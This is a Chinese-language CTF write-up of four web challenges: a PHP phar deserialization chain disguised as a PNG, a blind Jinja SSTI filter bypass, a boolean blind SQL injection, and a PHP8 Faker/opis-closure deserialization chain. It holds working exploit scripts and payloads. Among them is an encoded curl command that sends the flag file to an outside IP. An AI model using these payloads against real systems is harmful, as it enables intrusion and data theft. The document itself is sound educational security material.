Ez to getflag
这个题是文件上传
做的多了会发现文件上传一般都会出现任意文件文件读取,如果是黑盒的话。
这道题刚进去我就试了一下上传点,然后发现只能上传png格式的图片。
还有一个文件啊读取的功能。我试着读取那个我们上传的文件,发现也读取不了。
这种文件一般都不会说是让读取上传文件名字的试了一下经过md5加密过后的文件名,果然可以。
然后我犯了一个天大的错误在试文件读取的时候,没有直接/etc/passwd而是用了路径穿越。
没有读取出来,然后我就没有思路了。
最后看了一眼wp,才知道直接读取就行了。这是一个点吧。
这就有了第一个解也是非预期解
第二个解还是phar文件上传
先把源码读取出来
有个upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
有个file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
还有个class.php
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
我们还是一个一个分析吧,先分析upload.php
这个确实是文件上传实例化一个新对象
跟进一下这个uploadfile()
调用了两个方法一个check函数一个是save保存函数
这个要以png结尾的还会检查文件内容
check过后就可以保存了
我们看一下保存的逻辑
保存就是把文件名以md5的形式保存。
看完这个之后我们看一下file的逻辑
实例化对象show调用show方法(),跟进一下show方法
也是过滤了一下
这里有个file_get_contents方法
又看没有过滤phar伪协议,正好这个函数可以触发phar伪协议
看看能不能利用反序列化审一下链子
这里有个include文件包含
看看能不能利用,我们反向推导一下
这里可以利用__call方法,调用不存在的方法时会触发__call方法
利用这个ok
看看get()方法如何触发
当访问不存在的方法时会触发这个魔术方法
利用这个可以触发__get方法
那就变成了触发__toStrwing方法
这个类里面正好有echo可以触发
我们正向整理一下
Test::__destruct()->Upload::__toString()->Show::->__get()->__call()->backdoor()->include()
这就是我们的链子
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
}
class Show{
public $source;
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
}
}
class Test{
public $str;
public function __destruct()
{
echo $this->str;
}
}
$A = new Test();
$B = new Upload();
$A -> str = $B;
$C = new Show("ssss");
$B ->fname = $C;
$B ->fsize = "/flag";
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($A);
$phar->stopBuffering();
?>
这个是poc生成phar文件
因为我们只能传入png文件所以我们压缩一下改一下结尾
import gzip
with open('poc.phar', 'rb') as file:
f = file.read()
newf = gzip.compress(f) # 对Phar文件进行gzip压缩
with open('poc.png', 'wb') as file: # 更改文件后缀
file.write(newf)
我们传入这个文件
md5加密一下
<?php
$str="poc.png";
echo md5($str);
#23f1a0f70f076b42b5b49f24ee28f696
最后进行文件读取
/file.php?f=phar://upload/23f1a0f70f076b42b5b49f24ee28f696.png&_=1713073174353
总结
最近做了较多的反序列化题,这种题重要的就是逻辑要搞清
链子要特别清晰每一步,最后整体的利用
Harddisk
这个题进去之后是一个表单
玩了几下没有什么东西
试一下ssti,发现有东西
没有给源码就是直接黑盒测试
直接焚靖一把梭试一下
工具就是爽
没回显考虑curl外带
第二种就是自己老老实实的构造
自己构造的化还是比较麻烦的
先fuzz一下过滤的东西
但是我没有fuzz字典,后面去收集一下
看大佬的wp,fazz了很多字符
}}, {{, ], [, ], , , +, , ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, urlfor, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
过滤{{}},我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替
过滤print 关键字,则只能用 {% if ... %}success{% endif %} 的形式来bypass。因为无回显,所以要外带数据
过滤了 ]、_、request 这类常用的字符和关键字,可以用 attr() 配合 unicode 编码绕过
直接粘大佬的地址
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
数据外带
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u0031\\u0061\\u0067\\u0067\\u0067\\u0067\\u0068\\u0065\\u0072\\u0065\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f1agggghere`
i = 132
url = "http://e06dc629-8d8a-4165-9e03-7a4b5d4982a4.node5.buuoj.cn:81/"
payload = {
"nickname": '{%if(""|' +
f'attr("{cl}")' +
f'|attr("{ba}")' +
f'|attr("{gi}")(0)' +
f'|attr("{su}")()' +
f'|attr("{gi}")(' +
str(i) +
f')|attr("{ii}")' +
f'|attr("{go}")' +
f'|attr("{gi}")' +
f'("{po}"))' +
f'("{cmd}")' +
'%}success' +
'{%endif%}'
}
res = requests.post(url=url, headers=headers, data=payload)
回去监听就行
绝对防御
点进去确实和名字一样叫做绝对防御,就一张图片
我想图片能有什么漏洞,我更专注于什么版本漏洞或者说是一些nginx漏洞php版本漏洞什么的
后来看了wp才知道,这个从js文件里面搜索子域名,第一次才知道这个工具
直接跑工具就可以知道子域名了
最后一个好像有点东西
访问看看
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
function check(){
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert("提示:您输入的信息含有非法字符!");
window.location.href = "/"
}
}
check()
前端过滤我们可以禁掉js
不知道为什么参数是id,但是传入id有回显
传入id=2
经过测试发现可以布尔盲注
上脚本
import requests
url = "http://471861d3-8a4e-4adf-ab48-9b4d5c0d3f4c.node5.buuoj.cn:81/SUPPERAPI.php?id="
flag = ''
for i in range(1, 200):
print("------------------" + str(i) + "------------------")
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# ctf
#paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)
# user
#paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)
# id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
#paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)
# admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
# paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
r = requests.get(url + paylaod)
# print(str(low) + ':' + str(mid) + ':' + str(high))
if "flag" in r.text:
# print(r.text)
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)
admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
总结
第一次知道了js文件中也会有子域名和url,学到了
Newser
前言
复现完这道题确实是知道了很多东西
开始是只有一个类,原本以为又是一个简单的反序列化,但是就一个类,就没有了思路。
看了大佬的wp才知道,存在Composer配置文件泄露,这个没见过。
我理解的Composer是一个第三方库,像python一样,我们可以下载这个库来使用
Composer的配置文件中是一个json文件
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}
像这样的
我们可以看到这道题存在Composer配置文件泄露
我们可以看到引入的第三方依赖库
网上下载下来看看有没有什么可以利用的,注意一点的是这些依赖库都是在vendor文件下的
因为给我们的User类只有__destruct()方法可以用
看到调用属性
我们想到了可以触发__get方法,全局看一下有没有__get方法
我们发现在Generator.php有一个__get()方法我们可以利用
我们跟进一下这个format()方法
这里有个这个函数,这个函数里面的是一个回调函数
但是回调函数不能序列化
我们要利用这个的化就要用导包,正好在composer的依赖库里面有opis/closure这个
这个里面有序列化函数
我们利用里面的序列化函数进行序列化就解决这个问题啦
到后面我们看一下这个hui'd
这个函数里面有这个属性我们可以利用这个属性进行命令执行,因为这个属性我们是可控的
但是我们看一下这个类的wakeup方法
他会有个置空操作,那我们就要想办法来绕过这个wakeup
通过抓包我们知道了这个是php8版本的
那我们就用引用绕过,在php5或者php7版本我们可以通过属性加一绕过
在php8版本我们通过引用绕过
通过一个符号,将两个属性绑定在一起,用C语言理解就是指向同一个指针
$a=new D();
$a->str1=&$a->str2;
#这样str1永远等于str2;
这样子我们就可以绕过wakeup
现在我们理一下链子
User::__destruct()->Generator::->get()->format()->getFormatter()
先把poc放到这里
<?php
namespace {
include("vendor/autoload.php");
class User{
protected $_password;
public $password;
private $instance;
public function __construct(){
$func = function (){
system("ls /");
};
$b=\Opis\Closure\serialize($func);
$c=unserialize($b);
$this->instance = new Faker\Generator($this);
$this->_password = ["_username"=>$c];
}
}
$payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
// echo $payload;
echo base64_encode($payload);
}
namespace Faker{
class Generator{
protected $formatters;
public function __construct($obj){
$this->formatters = &$obj->password;
}
}
}
我们先包含这个vendor/autoload.php,这个会自动导入依赖库
我们在析构方法里面定义了一个函数,作为回调函数来导入
引入包来进行序列化,最后常规的反序列化就行了,然后我们new一下Generator来触发get方法
里面传入User类自己,然后将_password设置和_username一样为反序列化的$c,就是经过处理的回调函数
下面是Generator类,这里的析构方法通过引用让formatters属性和_password一样,来绕过wakeup。
还有一点需要注意的是,这个_password是protected我们先把他变成public,在序列化完成之后,在变成protected
最后就传入cookie就可以啦
总结
学习了一个新的知识点,就是composer,对闭包函数理解更加深刻了